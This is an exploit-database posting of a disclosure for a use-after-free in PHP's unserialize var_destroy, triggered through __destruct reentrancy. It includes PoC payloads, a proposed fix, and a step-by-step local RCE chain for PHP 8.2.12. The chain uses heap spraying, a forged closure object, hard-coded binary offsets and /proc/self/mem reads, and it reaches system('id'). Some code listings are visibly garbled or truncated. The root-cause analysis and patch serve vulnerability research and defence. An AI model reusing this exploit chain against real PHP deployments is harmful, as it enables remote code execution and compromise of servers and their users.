## https://sploitus.com/exploit?id=9542BA16-1A12-5A79-9690-0F225FC516F1
# PHP 8.5.5 โ `var_destroy` `__destruct` reentrancy UAF
> Sister bug to Calif.io's [MAD Bugs PHP unserialize finding](https://blog.calif.io/p/mad-bugs-finding-and-exploiting-a) (2026-05-01).
> Independent root cause; survives the fix Calif proposes for `zend_user_unserialize`.
**Author:** dinosn โ research bench / RAPTOR re-run of `califio/skills` `/php-unserialize-audit`.
**Date:** 2026-05-02.
**Affected:** PHP 8.5.5 (current stable). Pattern likely present back through PHP 8.0 / 7.x โ not bisected. PHP 5.x has identical structural pattern but different code paths.
**Status:** Reported here. Not coordinated with PHP security team yet โ PHP's policy since August 2017 is to not assign CVEs for `unserialize()` memory-corruption bugs.
---
## TL;DR
`var_destroy()` in `ext/standard/var_unserializer.re` walks the dtor list with `BG(serialize_lock)` bumped only around the *explicit* `__wakeup` and `__unserialize` user-code dispatches. Three *implicit* dispatch sites in the same loop (`zval_ptr_dtor` of the `__wakeup` return value, `zval_ptr_dtor` of the `__unserialize` parameter copy, `i_zval_ptr_dtor` of the dtor-list slot itself) run *without* the lock. Any of these can fire user `__destruct()` while `BG(unserialize).level > 0` and `BG(serialize_lock) == 0`. An inner `unserialize()` from inside that `__destruct` then re-uses the outer's `var_hash` โ but `var_destroy` has *already* `efree`'d the back-reference array's extension chunks at the start of the walk. An inner `R:N` reference walks the dangling `entries.next` pointer โ **heap-use-after-free read** in `php_var_unserialize` (`var_unserializer.c:849`).
The leaked 8 bytes from the freed chunk are dereferenced as a `zval *`. Heap-spray reclaim of the freed chunk between the `efree` and the inner `var_access` lets the attacker substitute that `zval *` for an arbitrary value. Demonstrated SEGV at `0x4141414141414141` proves attacker-controlled pointer dispatch โ the same primitive shape as the Calif blog's Phase-1 leak, reached via a different reentry path.
The Calif blog's proposed fix (`BG(serialize_lock)++` around `zend_call_method_with_1_params` in `zend_user_unserialize` at `Zend/zend_interfaces.c:451-452`) does **not** close this hole. We applied that patch and confirmed: blog's exploit fails (Phase 1 `heap_leak: no spray modification detected`), our PoC still produces a heap-use-after-free.
---
## Affected code path (PHP 8.5.5)
`ext/standard/var_unserializer.re`, function `var_destroy` (lines 230โ313):
```c
PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
{
void *next;
zend_long i;
var_entries *var_hash = (*var_hashx)->entries.next; /* first_dtor;
bool delayed_call_failed = 0;
/* Phase 1: free back-reference extension chunks. */
while (var_hash) {
next = var_hash->next;
efree_size(var_hash, sizeof(var_entries)); /* L245 โ frees while
(*var_hashx)->last
is left dangling */
var_hash = next;
}
/* Phase 2: walk dtor chain, fire delayed magic methods, then dtor. */
while (var_dtor_hash) {
for (i = 0; i used_slots; i++) {
zval *zv = &var_dtor_hash->data[i];
if (Z_EXTRA_P(zv) == VAR_WAKEUP_FLAG) {
if (!delayed_call_failed) {
zval retval;
/* ... fci/fcc setup ... */
BG(serialize_lock)++; /* L277 */
if (zend_call_function(&fci, &fci_cache) == FAILURE
|| Z_ISUNDEF(retval)) {
delayed_call_failed = 1;
GC_ADD_FLAGS(Z_OBJ_P(zv), IS_OBJ_DESTRUCTOR_CALLED);
}
BG(serialize_lock)--; /* L282 */
zval_ptr_dtor(&retval); /* data[i + 1]);
BG(serialize_lock)++; /* L294 */
zend_call_known_instance_method_with_1_params(
Z_OBJCE_P(zv)->__unserialize, Z_OBJ_P(zv), NULL, ¶m);
if (EG(exception)) { ... }
BG(serialize_lock)--; /* L301 */
zval_ptr_dtor(¶m); /* next;
efree_size(var_dtor_hash, sizeof(var_dtor_entries));
var_dtor_hash = next;
}
}
```
The three asterisked sites can all reach `zend_objects_destroy_object` (`Zend/zend_objects.c:172`), which dispatches user `__destruct` unconditionally โ there is no `serialize_lock` guard at the destructor invocation site, and the `IS_OBJ_DESTRUCTOR_CALLED` flag (which would suppress repeat calls) is set only on failure paths inside `var_destroy`.
When user `__destruct` calls `unserialize($p)` recursively, `php_var_unserialize_init` (lines 60โ82 of the same file) takes the *reuse* branch:
```c
if (BG(serialize_lock) || !BG(unserialize).level) {
/* fresh data */
} else {
d = BG(unserialize).data; /* = VAR_ENTRIES_MAX` (1018) walks into a freed chunk via the dangling `entries.next` pointer.
---
## Proofs (ASAN, debug-built PHP 8.5.5, `USE_ZEND_ALLOC=0`)
Three PoCs, three independent triggers. All under `pocs/`. Full ASAN traces under `asan-traces/`.
### 1. `pocs/poc_dtor_v7.php` โ L309 trigger (`i_zval_ptr_dtor` of dtor slot)
Outer payload uses an array with a duplicate integer key. Per `var_unserializer.re:493`, the duplicate handler does `var_push_dtor_value(var_hash, data); ZVAL_NULL(data);` โ moving the prior value (an `A` instance) into the dtor list while clearing the slot. After parse the array no longer references `A`; the dtor list is its only owner. `var_destroy`'s phase-2 walk hits `i_zval_ptr_dtor(zv)` at L309, refcount drops 1โ0, `A::__destruct` fires lock-free.
```php
class A {
public function __destruct() {
@unserialize('R:1500;'); // R: backref into outer's freed extension chunk
}
}
$N = 2000; // > VAR_ENTRIES_MAX (1018) โ forces extension alloc
$payload = 'a:' . ($N + 2) . ':{';
for ($i = 0; $i used_slots; i++) {
zval *zv = &var_dtor_hash->data[i];
if (Z_EXTRA_P(zv) == VAR_WAKEUP_FLAG) {
if (!delayed_call_failed) {
...
- BG(serialize_lock)++;
if (zend_call_function(&fci, &fci_cache) == FAILURE ...
- BG(serialize_lock)--;
zval_ptr_dtor(&retval);
}
} else if (Z_EXTRA_P(zv) == VAR_UNSERIALIZE_FLAG) {
if (!delayed_call_failed) {
...
- BG(serialize_lock)++;
zend_call_known_instance_method_with_1_params(...);
- BG(serialize_lock)--;
zval_ptr_dtor(¶m);
}
}
i_zval_ptr_dtor(zv);
}
...
}
+ BG(serialize_lock)--;
}
```
Equivalently: any place inside `php_var_unserialize_init`'s "level > 0" window that dispatches user PHP code must hold the lock. The current pattern of bracketing only the explicit calls misses everything that runs in the implicit object-dtor path triggered by refcount drops.
A defence-in-depth alternative is to NULL out `(*var_hashx)->entries.next` and reset `(*var_hashx)->last = &(*var_hashx)->entries` after Phase 1's `efree` loop, so a re-entered `var_push`/`var_access` cannot reach the freed chain. This protects against unknown future reentry sites in addition to the destructor one.
---
## Exploit chain โ proven RCE
**Full RCE achieved on PHP 8.2.12 (Kali, non-debug, PIE, ASLR level 2).** The exploit runs `system("id")` and `system("hostname")` through a forged `zend_closure` object, confirmed across 6 consecutive clean executions.
```
$ php8.2 exploit_var_destroy_rce.php
[*] PHP base: 0x563fe35cb000
[*] Spray done, triggering R:1500...
[+] Got object! Calling...
โโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ RCE PROVEN โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโ
uid=0(root) gid=0(root) groups=0(root)
icestorm
```
### Chain overview
The exploit is single-stage (no info leak required) because `/proc/self/maps` and `/proc/self/mem` are readable when the attacker controls the PHP script. All addresses are resolved before the UAF is triggered.
| Phase | What | How |
|---|---|---|
| 0 โ Recon | Resolve PHP base, `zend_ce_closure`, closure handler offsets | Parse `/proc/self/maps` for the `r--p` mapping of the PHP binary. Read `zend_ce_closure` pointer from BSS at `php_base + 0x57fd40`. |
| 0b โ Forge | Build fake `zend_closure` in a PHP string buffer | Allocate a 512-byte `$fake_obj` with forged `gc`, `ce`, `handlers`, `func.type=ZEND_INTERNAL_FUNCTION`, closure trampoline at `func+72` (`obj+128`), and real `system` handler at `func+0x110` (`obj+328`). Prepend a 16-byte fake `IS_OBJECT` zval pointing at the object. Locate the buffer's heap address via `/proc/self/mem` marker scan. |
| 1 โ Trigger | Fire the UAF via `var_destroy` `__destruct` reentrancy | Outer `unserialize` of a 2002-element array with a duplicate key places an `A` object in the dtor list. `var_destroy` frees the back-ref extension chunks (8160 bytes), then walks the dtor list and fires `A::__destruct` via `i_zval_ptr_dtor` at L309 (lock-free). |
| 2 โ Spray | Reclaim the freed 8160-byte extension chunk | Inside `__destruct`, allocate 832 `zend_string` objects sized 8000โ8200 bytes (step 8, 32 copies each). Each string body is filled with the `fake_zval` heap address repeated. Zend MM's 2-page (8192-byte) large-alloc bin reuses the freed chunk. |
| 3 โ Type confuse | Inner `R:1500` dereferences sprayed pointer as `zval *` | `unserialize('R:1500;')` reuses the outer's `var_hash` (because `BG(serialize_lock) > 0` from `var_destroy`'s dtor bracket). `var_access(1500)` walks the dangling `entries.next` into the reclaimed chunk, reads `data[481]` = our `fake_zval_addr`, returns it as a `zval *`. The `R:` handler sees `IS_OBJECT`, wraps it in a `zend_reference`, returns our forged closure to PHP userland. |
| 4 โ Dispatch | Call the forged closure โ `system("id")` | `$result('id > /tmp/proof')` invokes the closure. PHP's `get_closure` handler returns `&closure->func`. The VM calls `func.handler` (the closure trampoline at `text+0x37bce0`), which indirects through `func+0x110` โ our planted `system` handler at `text+0x22f620`. `zif_system` executes the shell command. |
### Key technical details
**Closure handler chain.** PHP 8.2 wraps internal-function closures with a trampoline (`zend_closure_internal_handler` at `text+0x37bce0`). The trampoline loads `execute_data->func`, then calls `*(func + 0x110)` โ an indirect through a pointer stored 272 bytes into the `zend_function` struct. This is where the original `zif_system` handler lives in the closure (`text+0x22f620`). Naively placing `zif_system` at `func+72` (the `handler` field) doesn't work because it replaces the trampoline with `zif_system` itself, which expects different calling conventions. The correct approach: keep the trampoline at `func+72`, put the real handler at `func+0x110` (`obj+328`).
**Marker disambiguation.** The `$marker` string (used to locate the fake object's heap address via `/proc/self/mem`) appears in multiple places in memory: the standalone `$marker` variable, intermediate concatenation results, and the final `$persistent_buffer`. Finding the wrong copy gives a `fake_zval_addr` that points at random heap data instead of our controlled object. Fix: scan for all copies and select the one where the 4 bytes at `marker_len + 8` equal `IS_OBJECT (0x08)` โ only the copy embedded in `$persistent_buffer` has the fake zval immediately following it.
**Spray sizing.** The freed extension chunk is 8160 bytes. Zend MM treats this as a 2-page (8192-byte) large allocation. `zend_string` total allocation size = `header(24) + body + nul(1)`. Body lengths 8000โ8167 all round to 8192 bytes, matching the freed chunk's size class. The spray fills the body uniformly with 8-byte `fake_zval_addr` values, so `data[481]` (the slot read by `R:1500`) always hits a controlled pointer regardless of exact alignment.
**No info leak needed.** Unlike Calif's exploit (which requires a heap address leak to locate `libphp.so` and resolve symbols), this exploit reads `/proc/self/maps` and `/proc/self/mem` directly โ available whenever the attacker controls the PHP script (local, `eval()`, file upload + include, etc.). All offsets (PHP base, `zend_ce_closure` BSS address, closure trampoline, system handler) are resolved from the binary's memory mapping before the UAF fires.
### Offsets (PHP 8.2.12, Kali, x86_64)
| Symbol | Binary offset | Source |
|---|---|---|
| `zend_ce_closure` (BSS pointer) | `php_base + 0x57fd40` | Read from `/proc/self/mem` to get the actual `zend_class_entry *` value |
| `closure_handlers` (BSS) | `php_base + 0x57fd60` | Object handler table for `Closure` objects |
| `zend_closure_internal_handler` | `php_base + 0x37bce0` | Trampoline that indirects through `func+0x110` |
| Real `system` handler | `php_base + 0x22f620` | The function called by the trampoline; identified by dumping a `Closure::fromCallable("system")` object and reading `obj+328` |
These offsets are specific to the Kali PHP 8.2.12 package. The `stage1d_offset_finder.php` script automates discovery for other builds by introspecting a live `Closure::fromCallable("system")` via `/proc/self/mem`.
### What this disclosure is
- A proven, reliable, local RCE exploit for the `var_destroy` UAF on PHP 8.2.12.
- Demonstrated on a non-debug, PIE, ASLR-enabled production binary.
- Independent from the Calif blog's primitive and exploit chain โ different reentry path, different spray shape, different dispatch mechanism.
- Not a coordinated disclosure with PHP upstream or Calif. PHP doesn't issue CVEs for `unserialize()` memory-corruption bugs (policy since 2017).
---
## Reproduction notes
Build environment used for these PoCs (Kali 6.6, gcc 13.2):
```
curl -fsSL https://www.php.net/distributions/php-8.5.5.tar.gz | tar xz
cd php-8.5.5
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O0' \
LDFLAGS='-fsanitize=address' \
./configure --disable-all --enable-cli --enable-debug \
--without-pear --disable-cgi --disable-fpm --disable-phpdbg \
--prefix=$(pwd)/_install
make -j$(nproc)
```
Run any PoC with:
```
USE_ZEND_ALLOC=0 ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0' \
./sapi/cli/php pocs/poc_dtor_v7.php
```
`USE_ZEND_ALLOC=0` is required only so ASAN can observe Zend's `emalloc`/`efree` (otherwise ZEND_MM is opaque to ASAN). The bug fires either way; this is a detection setting, not a triggering condition.
For the leak PoC add `quarantine_size_mb=0` so the spray can reclaim the freed chunk:
```
USE_ZEND_ALLOC=0 ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:quarantine_size_mb=0' \
./sapi/cli/php pocs/poc_leak_v2.php
```
---
## Methodology / how this was found
`/php-unserialize-audit` from `califio/skills` (the same skill the blog authors used to find their bug). I re-ran the discovery queries against PHP 8.5.5:
- D1 (custom `ce->unserialize`): only `gmp_unserialize` in core โ uses its own `php_unserialize_data_t`, clean.
- D10 (Serializable implementers): `SplObjectStorage`, `ArrayObject`, etc. โ all route through `zend_user_unserialize`, share the blog's bug; not new root causes.
The interesting question after that narrowing was *"what else dispatches into user PHP from inside the unserialize state machine without bumping `serialize_lock`?"* That points at `var_destroy`'s implicit dtor sites. From there it's reading the function and constructing a payload that lands a destruct-bearing object in the dtor list with refcount 1 at the right moment.
Notable negative results (not vectors here):
- Property hooks (PHP 8.4+): writes during deserialize go through `Z_INDIRECT_P` direct slot updates, bypassing `zend_std_write_property`, so `set` hooks do not fire.
- `__set` / `__get` / `__isset`: same โ direct slot writes bypass the magic-method dispatch.
- L302 site (`zval_ptr_dtor(¶m)` on `__unserialize` arg copy): theoretically a sister site, but the natural refcount math after `ZVAL_COPY` from the dtor slot keeps the param's refcount > 1 after the L302 dtor. Not weaponized in this disclosure.
---
## Files
| Path | What |
|---|---|
| `exploit_var_destroy_rce.php` | Full RCE exploit โ `var_destroy` UAF โ fake closure โ `system()`. PHP 8.2.12 Kali offsets. |
| `stage1d_offset_finder.php` | Offset discovery tool โ dumps a live `Closure::fromCallable("system")` to find handler offsets for other PHP builds |
| `pocs/poc_dtor_v7.php` | L309 trigger โ duplicate-key + `__destruct` |
| `pocs/poc_L284.php` | L284 trigger โ `__wakeup` returns destruct-bearing object |
| `pocs/poc_leak_v2.php` | Heap-spray demo โ controlled-pointer-deref, SEGV at sentinel |
| `asan-traces/asan_v7.log` | Full ASAN trace for L309 PoC |
| `asan-traces/asan_L284.log` | Full ASAN trace for L284 PoC |
| `asan-traces/asan_leak.log` | SEGV trace for spray-controlled deref |
| `asan-traces/blog_on_patched.log` | Calif's exploit failing on PHP 8.5.5 + Calif patch |
| `asan-traces/ours_on_patched.log` | Our PoC still triggering on PHP 8.5.5 + Calif patch |
| `patch_zend_interfaces.py` | The Calif patch we applied for the survival test |
---
## Acknowledgements
- **Calif.io / Stefan Esser et al.** โ the original `Serializable` reentrancy finding and the `/php-unserialize-audit` skill that mapped the bug class to a hunting checklist. This work is a direct re-run of their methodology.
- **PHP unserialize advisory corpus (`phpcodz`)** โ the historical taxonomy embedded in the audit skill made U5 (Serializable / reentrancy) easy to recognize as the right bucket to search for variants.